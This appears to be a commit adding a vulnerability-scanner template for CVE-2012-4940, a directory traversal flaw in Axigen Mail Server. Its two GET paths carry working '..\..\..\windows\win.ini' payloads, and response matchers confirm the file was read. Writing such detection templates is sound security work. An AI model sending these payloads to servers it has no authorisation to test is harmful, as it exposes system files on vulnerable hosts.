Create CVE-2012-4940.yaml

cves/2012/CVE-2012-4940.yaml

@@ -0,0 +1,23 @@
+id: CVE-2012-4940
+
+info:
+  name: Axigen Mail Server - 'Filename' Directory Traversal
+  author: dhiyaneshDk
+  severity: high
+  tags: axigen,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini"
+      - "{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini"
+
+    stop-at-first-match: true
+    matchers:
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body